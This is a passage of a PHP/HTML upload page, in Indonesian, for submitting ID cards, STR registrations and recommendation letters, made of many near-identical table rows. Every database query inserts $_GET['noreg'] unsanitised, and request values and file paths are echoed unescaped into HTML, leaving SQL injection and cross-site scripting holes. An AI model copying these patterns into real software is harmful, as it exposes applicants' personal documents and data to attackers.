    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>



				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='1'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>		



	</tr>	











	<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > 2. Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">3</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > 3. Softcopy STR . <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">4</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="23" checked > 4. Softcopy (berwarna/sesuai asli)  Rekomendasi Certificate Of Good Standing. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











		<?php	



		   //tutup per perihal



		 }  



	     ?>	







<?php



       if  ($perihal =='rekomendasi_PKHI_um'||$perihal =='rekomendasi_PKHI_sp'){



	?>



	<tr>



		<td data-header="No" class="title">1</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > Softcopy STR . <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">4</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="25" checked > Softcopy (berwarna/sesuai asli)  Surat tugas PKHI. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>



<?php 



		 }



		  ?>



<?php



       if  ($perihal =='rekomendasi_UKDI'){



	?>



	<tr>



		<td data-header="No" class="title">1</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > Softcopy STR . <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">4</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="24" checked > Softcopy (berwarna/sesuai asli)  Surat Pernyataan Mengikuti UKDI. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>



<?php 



		   //akhir perihal



		 }



		  ?>







 <?php	   



	 if ($pribadi =='pribadi'){						 



?>







<tr>



		<td data-header="No" class="title"></td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="43" checked >Softcopy (berwarna/asli) Surat Rekomendasi Puskesmas untuk Praktek pribadi. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="17"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='17'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='17'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>



<?php 



		   //akhir perihal pribadi



		 }



		  ?>











 <?php	   



	 if ($puskesmas =='puskesmas'){						 



?>







<tr>



		<td data-header="No" class="title"></td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="18" checked >Softcopy (berwarna/asli)Surat Tugas/SPMT. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="14"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='14'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='14'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>



<?php 



		   //akhir perihal pribadi



		 }



		  ?>















 <?php	   



